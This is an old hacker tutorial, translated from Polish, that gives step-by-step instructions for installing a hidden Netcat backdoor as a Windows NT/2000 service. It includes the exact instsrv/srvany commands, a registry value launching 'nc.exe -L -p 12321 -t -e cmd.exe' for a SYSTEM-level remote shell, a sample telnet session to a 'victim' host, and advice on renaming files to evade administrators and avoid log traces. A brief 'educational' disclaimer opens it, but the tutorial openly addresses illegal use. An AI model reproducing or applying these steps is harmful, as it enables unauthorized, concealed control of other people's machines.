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This text is intended only for the educational purpose. Using this instruction on remote machines is illegal .I myself,as an author ,do not take any responsibility for your activity connected with this text.





The idea is brand new and I haven't heard or read about it before. But as we all know it's always good to have a backdoor enterance:) So here is a description of how to do it!


The matter consists on adding a new service on which the Netcat.exe will work. It will be used to listen for the connection from the net. After reciving the connection, you will get  the cmd.exe with the rights on which the service works. Simple, isn't it?





The tools mentioned here were not tested on animals and do not increase the size of the ozone hole :-)





Most of the needed tools can be found in Resource Kit for Windows NT 4.0


You will also need a program called Netcat.exe which is available on the page www.l0pht.com





All the mentioned tools are available with descriptions.You can find them in the file NT_Backdoor_tools.zip  on my home page www.badplace.hg.pl/files/NT_Backdoor_tools.zip or on ftp://ftp.underground.org.pl/NT/hack/NT_Backdoor_tools.zip





The original version of Netcat was written by *Hobbit* <hobbit@avian.org>.


The version for NT were made by Weld Pond <weld@l0pht.com> - L0pht Heavy Industries





Let's start:





You will need:


* Netcat.exe (I'll call it nc.exe)


* Srvany.exe, Instsrv.exe - available in Resource Kit for NT;





To create backdoor on a server you have to have administrator's rights. 


If you already have it ,you should:


1) Go to c:\winnt\system32 and put there the tools mentioned earlier


2) Run cmd.exe and write 


    INSTSRV nc c:\winnt\system32\srvany.exe (instsrv is used to install a service)





I assume you will name the service nc (of course the name is up to you), but if you are working illegally you should think of a different name. For example you can call the service "system" and if the administrator is a complete idiot he will never touch it :-) 





note: Srvany.exe is a tool which allows you to install any program as a service.





Another tool which can be used is SRVINSTW.EXE  (search in ResKit or in the file  NT_Backdoor_tools.zip) It can work remote and in graphic mode.





3) After  the installation  you should set the parameters for the srvany service.


You can use service manager in Control Panel to set the way of running the service (automaticly or manualy) and the rights which would you like it to work: on the user's or system's account.





    If you're installing the service on a remote machine use Service Manager'a NT  (it's in NT_Backdoor_tools.zip)





If the service works on the system's account it will have all system's rights. It can also work on the administrator's account. If it is, it will have the administrator's rights.


While installing the service on a user's account you have to give the user's password. This particular user (the owner of the account) has to have a "logon as a service" right. But if you have the administrator's rights you can easyly give this privilege.





If the service works on the user's account: you can have some problems with changing the password by the user. If the password is changed the service won't start. You have to change the password in service settings.








If the sercvice works on the system's account: you can also have some problems. The system hasn't got the right to add a new users. But it can give the adinistrative rights to the already existing accounts, it can also change user's passwords, stop and start services and many, many other :-)





4) Now all you have to do is add in the registry a new access path to the real program,which will be used as  a service :-)





After the installation of srvany.exe you get this notice in the register (if the name of the service is NC)


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc


Name:           ImagePath


Type:            REG_SZ


Data:            c:\winnt\system32\srvany.exe





There you can also see the account on which the service works:





Name:          ObjectName


Type:            REG_SZ


Data:            LocalSystem  (for example)





and few other information...





Now let's take a look on this:





HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc





here we have to add another key:





Parameters





Now we have:





HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nc\Parameters





Here we have to write the value:





Name:          Application


Type:            REG_SZ


Data:            nc.exe -L -p 12321 -t -e cmd.exe





(In this particular case the Netcat will work on the 12321 port. And after connecting on this port Netcat will give you cmd.exe with the rights on which the service works.


If you want to change the Netcat parameters check it's documentary.)





To add this inscription you can use the file add_parameters.reg. It is made for the "nc" service. If your name is different you have to make some changes in the file. You can also change the name of Netcat.





5) Finally all you have to do is run nc service (that is srvany.exe which runs nc.exe) and connect by using telnet with 12321 port. Then you will get cmd.exe with the rights of (for example) administrator - if it is his account on which the service works.





In the command line write for example: telnet www.victim.com 12321


And you have:


--------------------------------------------------------------


Microsoft(R) Windows NT(TM)


(C) Copyright 1985-1996 Microsoft Corp.





C:\WINNT\system32>whoami


whoami


NT AUTHORITY\SYSTEM


 


C:\WINNT\system32>


C:\WINNT\system32>exit





-connection to host lost-








( If you haven't got ResKit on your machine, the command "whoami" won't work. You can copy the file whoami.exe to c:\winnt\system32. This program is in NT_Backdoor_tools.zip)





Some last suggestions:


1) This is all about keeping everyithing hidden from the administrator. If the program Netcat.exe or srvany.exe will have original names you can have some problems. It will be visible in Task Manager. That's why you should transform the original name into sth. less visible-for example....hmmmm...think of sth!!


Sorry, I won't give you my ideas, because some administrator might read this and find it in his own machine :-))





2) If you are already connected with the backdoor's port nobody else can connect by using it.





3) It's worth to read the srvany.exe description.You can find it  in ResKit or in the file NT_Backdoor_tools.zip. It can be very usefull in solving any problems





4) Backdoor was tested on Windows 2000. You can install it on it in the same way.





5) There are no traces after logging in the security logs :-) Of course the manipulation with user's accounts leave some traces. But the traces lead to the user whose account is being used by the service - backdoor :-))





6) I made some remote tests on NT 4.0 and SBS - no problems:-)





...only think about Netcat listening somewhere there....in the net.








ps  : If you'll find any mistakes in this text-write to me.Any comments ,letters with threats are 


                                                     welcome :-)





Special thx 2 :


Samena(for her HARD work!!!),CleR, Danthe, Liam Holwet, Majdom Maj, Mietor (AAOCG), Miquel, Nero_Soth, Malpis, Zenek; 











Neferith





e-mail: intruders@silesianet.pl








translation:Samena





Disconnected...














































































































































































































